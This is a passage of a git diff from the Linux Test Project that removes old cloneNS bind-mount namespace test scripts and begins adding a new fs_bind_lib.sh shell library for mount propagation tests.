-mount --bind "$disk3" dir2/b
-check -n dir1/b dir2/b
-
-goahead
-iamgoingahead
-
-check "$disk2" dir1/a dir2/a
-check "$disk4" dir1/c dir2/c
-
-exit $result
-
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/parent03 b/testcases/kernel/fs/fs_bind/cloneNS/parent03
deleted file mode 100755
index e9c3b77..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/parent03
+++ /dev/null
@@ -1,34 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startparent
-iamgoingahead
-
-
-result=0
-
-check "$disk1" dir1
-goahead
-
-exit $result
-
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/parent04 b/testcases/kernel/fs/fs_bind/cloneNS/parent04
deleted file mode 100755
index 58ac730..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/parent04
+++ /dev/null
@@ -1,37 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startparent
-iamgoingahead
-
-
-result=0
-
-mount --bind "$disk2" dir1/a
-goahead
-iamgoingahead
-check -n "$disk3" dir1/b
-
-
-exit $result
-
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/parent05 b/testcases/kernel/fs/fs_bind/cloneNS/parent05
deleted file mode 100755
index 3aa69df..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/parent05
+++ /dev/null
@@ -1,45 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startparent
-iamgoingahead
-
-
-result=0
-
-mount --bind "$disk2" parent/child1/a
-check parent/child1/a parent/child2/child1/a
-
-mount --bind "$disk3" parent/child2/child1/b
-check parent/child1/b parent/child2/child1/b
-
-goahead
-iamgoingahead
-
-check "$disk4" parent/child2/child1/c parent/child1/c
-check -n "$disk3" parent/child1/b
-check parent/child1/b parent/child2/child1/b
-
-
-exit $result
-
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/parent06 b/testcases/kernel/fs/fs_bind/cloneNS/parent06
deleted file mode 100755
index 0f3e87f..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/parent06
+++ /dev/null
@@ -1,51 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startparent
-iamgoingahead
-
-
-result=0
-
-mount --rbind "$disk1" dir1/x
-
-check dir1/x dir2/x dir3/x dir4/x
-
-mount --rbind "$disk2" dir2/x/a
-check -n dir1/x/a dir2/x/a
-check dir2/x/a dir3/x/a dir4/x/a
-
-
-goahead
-iamgoingahead
-
-check -n dir1/x/b dir3/x/b
-check -n dir2/x/b dir3/x/b
-check dir3/x/b dir4/x/b
-check "$disk3" dir3/x/b
-
-check -n "$disk4" dir4/x/c
-check dir1/x/c dir2/x/c dir3/x/c dir4/x/c
-
-exit $result
-
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/parent07 b/testcases/kernel/fs/fs_bind/cloneNS/parent07
deleted file mode 100755
index 6a5109f..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/parent07
+++ /dev/null
@@ -1,48 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startparent
-iamgoingahead
-
-
-result=0
-
-check parent2 parent2/a parent2/a/a
-
-mount --bind "$disk2" parent2/b
-check parent2/b parent2/a/b parent2/a/a/b
-
-
-goahead
-iamgoingahead
-
-
-check parent2 parent2/a parent2/a/a
-check parent2/c parent2/a/c parent2/a/a/c
-
-umount parent2/a/a/c
-check parent2/c parent2/a/c parent2/a/a/c
-goahead
-
-exit $result
-
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/test01 b/testcases/kernel/fs/fs_bind/cloneNS/test01
deleted file mode 100755
index a4fda7d..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/test01
+++ /dev/null
@@ -1,85 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test01} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST01***************"
-tst_resm TINFO "cloneNS: namespace with shared dirs"
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of cloneNS/test01 failed" && tst_exit)
-export result=0
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-	cp "${FS_BIND_ROOT}/cloneNS/parent01" ./
-	cp "${FS_BIND_ROOT}/cloneNS/child01" .
-
-	chmod 755 parent01 child01
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir1
-	"${FS_BIND_ROOT}/bin/makedir" share dir2
-
-
-	mount --bind "$disk1" dir1
-
-	mount --bind dir1 dir2
-
-	"${FS_BIND_ROOT}/bin/nsclone" ./parent01 ./child01 || result=$?
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "cloneNS/test01: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "cloneNS/test01: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir1/a
-	umount dir2/b
-	umount dir1
-	umount dir1
-	umount dir1
-	umount dir2
-
-	rm -rf dir* parent* child*
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "cloneNS/test01: FAILED: cloneNS: namespace with shared dirs"
-	exit 1
-else
-	tst_resm TPASS "cloneNS/test01: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/test02 b/testcases/kernel/fs/fs_bind/cloneNS/test02
deleted file mode 100755
index 6204513..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/test02
+++ /dev/null
@@ -1,85 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-SETS_DEFAULTS="${TCID=test02} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST02***************"
-tst_resm TINFO "cloneNS: namespaces with parent-slave"
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of cloneNS/test02 failed" && tst_exit)
-export result=0
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-	cp "${FS_BIND_ROOT}/cloneNS/parent02" ./
-	cp "${FS_BIND_ROOT}/cloneNS/child02" .
-
-	chmod 755 parent02 child02
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir1
-	mount --bind "$disk1" dir1
-
-	mkdir dir2
-	mount --bind dir1 dir2
-	"${FS_BIND_ROOT}/bin/makedir" slave dir2
-
-	"${FS_BIND_ROOT}/bin/nsclone" ./parent02 ./child02 || result=$?
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "cloneNS/test02: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "cloneNS/test02: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir1/a
-	umount dir2/b
-	umount dir1/c
-	umount dir2
-	umount dir1
-	umount dir1
-
-	rm -rf dir* parent* child*
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "cloneNS/test02: FAILED: cloneNS: namespaces with parent-slave"
-	exit 1
-else
-	tst_resm TPASS "cloneNS/test02: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/test03 b/testcases/kernel/fs/fs_bind/cloneNS/test03
deleted file mode 100755
index 8db2c78..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/test03
+++ /dev/null
@@ -1,77 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test03} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST03***************"
-tst_resm TINFO "cloneNS: namespace with unclonable mount "
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of cloneNS/test03 failed" && tst_exit)
-export result=0
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-	cp "${FS_BIND_ROOT}/cloneNS/parent03" ./
-	cp "${FS_BIND_ROOT}/cloneNS/child03" .
-
-	chmod 755 parent03 child03
-
-	"${FS_BIND_ROOT}/bin/makedir" unclone dir1
-	mount --bind "$disk1" dir1
-
-
-	"${FS_BIND_ROOT}/bin/nsclone" ./parent03 ./child03 || result=$?
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "cloneNS/test03: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "cloneNS/test03: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir1
-	umount dir1
-
-	rm -rf dir* parent* child*
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "cloneNS/test03: FAILED: cloneNS: namespace with unclonable mount "
-	exit 1
-else
-	tst_resm TPASS "cloneNS/test03: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/test04 b/testcases/kernel/fs/fs_bind/cloneNS/test04
deleted file mode 100755
index 2605fbe..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/test04
+++ /dev/null
@@ -1,78 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test04} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST04***************"
-tst_resm TINFO "cloneNS: namespace with private mount."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of cloneNS/test04 failed" && tst_exit)
-export result=0
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-	cp "${FS_BIND_ROOT}/cloneNS/parent04" ./
-	cp "${FS_BIND_ROOT}/cloneNS/child04" .
-
-	chmod 755 parent04 child04
-
-	"${FS_BIND_ROOT}/bin/makedir" priv dir1
-	mount --bind "$disk1" dir1
-
-
-	"${FS_BIND_ROOT}/bin/nsclone" ./parent04 ./child04 || result=$?
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "cloneNS/test04: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "cloneNS/test04: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir1/a
-	umount dir1
-	umount dir1
-
-	rm -rf dir* parent* child*
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "cloneNS/test04: FAILED: cloneNS: namespace with private mount."
-	exit 1
-else
-	tst_resm TPASS "cloneNS/test04: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/test05 b/testcases/kernel/fs/fs_bind/cloneNS/test05
deleted file mode 100755
index d03ac29..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/test05
+++ /dev/null
@@ -1,90 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test05} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST05***************"
-tst_resm TINFO "cloneNS: namespace with multi-level "
-tst_resm TINFO "chain of slaves"
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of cloneNS/test05 failed" && tst_exit)
-export result=0
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-	cp "${FS_BIND_ROOT}/cloneNS/parent05" ./
-	cp "${FS_BIND_ROOT}/cloneNS/child05" .
-
-	chmod 755 parent05 child05
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent
-	"${FS_BIND_ROOT}/bin/makedir" share parent/child1
-	"${FS_BIND_ROOT}/bin/makedir" share parent/child2
-
-	mount --rbind "$disk1" parent/child1
-
-	mount --rbind parent parent/child2/
-
-	"${FS_BIND_ROOT}/bin/nsclone" ./parent05 ./child05 || result=$?
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "cloneNS/test05: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "cloneNS/test05: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent/child2/child2
-	umount parent/child2/child1/a
-	umount parent/child2/child1/c
-	umount parent/child2/child1
-	umount parent/child2/child1
-	umount parent/child2
-	umount parent/child2
-	umount parent
-
-	rm -rf parent* child*
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "cloneNS/test05: FAILED: cloneNS: namespace with multi-level
-chain of slaves"
-	exit 1
-else
-	tst_resm TPASS "cloneNS/test05: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/test06 b/testcases/kernel/fs/fs_bind/cloneNS/test06
deleted file mode 100755
index b7af489..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/test06
+++ /dev/null
@@ -1,96 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test06} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST06***************"
-tst_resm TINFO "cloneNS: namespace with shared point bind mounted "
-tst_resm TINFO "within the same directory"
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of cloneNS/test06 failed" && tst_exit)
-export result=0
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-	cp "${FS_BIND_ROOT}/cloneNS/parent06" ./
-	cp "${FS_BIND_ROOT}/cloneNS/child06" .
-
-	chmod 755 parent06 child06
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir1
-
-	mkdir dir1/x dir2 dir3 dir4
-
-	mount --rbind dir1 dir2
-	"${FS_BIND_ROOT}/bin/makedir" slave dir2
-	"${FS_BIND_ROOT}/bin/makedir" -n share dir2
-
-	mount --rbind dir2 dir3
-	"${FS_BIND_ROOT}/bin/makedir" slave dir3
-	"${FS_BIND_ROOT}/bin/makedir" -n share dir3
-
-	mount --rbind dir3 dir4
-	"${FS_BIND_ROOT}/bin/makedir" slave dir4
-
-
-	"${FS_BIND_ROOT}/bin/nsclone" ./parent06 ./child06 || result=$?
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "cloneNS/test06: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "cloneNS/test06: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir3/x/b
-	umount dir2/x/a
-	umount dir1/x
-	umount dir4
-	umount dir3
-	umount dir2
-	umount dir1
-
-	rm -rf parent* child* dir*
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "cloneNS/test06: FAILED: cloneNS: namespace with shared point bind mounted
-within the same directory"
-	exit 1
-else
-	tst_resm TPASS "cloneNS/test06: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/test07 b/testcases/kernel/fs/fs_bind/cloneNS/test07
deleted file mode 100755
index bf94912..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/test07
+++ /dev/null
@@ -1,91 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test07} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST 07***************"
-tst_resm TINFO "cloneNS: slave child to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of cloneNS/test07 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-	cp "${FS_BIND_ROOT}/cloneNS/parent07" ./
-	cp "${FS_BIND_ROOT}/cloneNS/child07" .
-	chmod 755 parent07 child07
-
-	mkdir parent1 parent2
-	mount --bind "$disk1" parent1
-	mount --make-rshared parent1 > /dev/null 2>&1 || "${FS_BIND_ROOT}/bin/smount" parent1 rshared
-	mount --bind parent1 parent2
-
-	check parent1 parent2
-
-	mount --move parent1 parent2/a
-
-	check parent2 parent2/a parent2/a/a
-
-	"${FS_BIND_ROOT}/bin/nsclone" ./parent07 ./child07 || result=$?
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "cloneNS/test07: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "cloneNS/test07: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/b
-	umount parent2/a/a
-	umount parent2/a
-	umount parent2
-	umount parent1
-
-
-
-	rm -rf parent* child*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "cloneNS/test07: FAILED: cloneNS: slave child to slave parent."
-        exit 1
-else
-        tst_resm TPASS "cloneNS/test07: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/fs_bind_lib.sh b/testcases/kernel/fs/fs_bind/fs_bind_lib.sh
new file mode 100644
index 0000000..2dd9ef0
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/fs_bind_lib.sh
@@ -0,0 +1,246 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Based on work by: Avantika Mathur (mathurav@us.ibm.com)
+
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_MIN_KVER=2.6.15
+TST_SETUP="${TST_SETUP:-fs_bind_setup}"
+TST_CLEANUP="${TST_CLEANUP:-fs_bind_cleanup}"
+TST_TESTFUNC=fs_bind_test
+TST_NEEDS_CMDS="mount umount awk sed"
+
+# Test interface:
+#
+# FS_BIND_TESTFUNC is the real testfunction. Please do not use
+# TST_TESTFUNC in the test. FS_BIND_TESTFUNC is used to wrap some additional logic.
+# TST_CNT can be used as usual
+
+FS_BIND_SANDBOX="sandbox"
+FS_BIND_DISK1="disk1"
+FS_BIND_DISK2="disk2"
+FS_BIND_DISK3="disk3"
+FS_BIND_DISK4="disk4"
+
+FS_BIND_MNTNS_PID=
+
+# Creates a directory and bind-mounts it to itself.
+# usage: fs_bind_makedir share_mode directory
+# where
+#  share_mode is one of the --make-{shared,priv,...}
+#  supported by mount
+#  directory is directory where to be created/configured.
+#  If it does not exist, it will be created
+fs_bind_makedir()
+{
+	local bind_type dir
+
+	bind_type="$1"
+	dir="$2"
+
+	case "$bind_type" in
+	shared|private|rshared|slave|rslave|rprivate|runbindable) ;;
+	*) tst_brk TBROK "Unknown share type \"$bind_type\""
+	esac
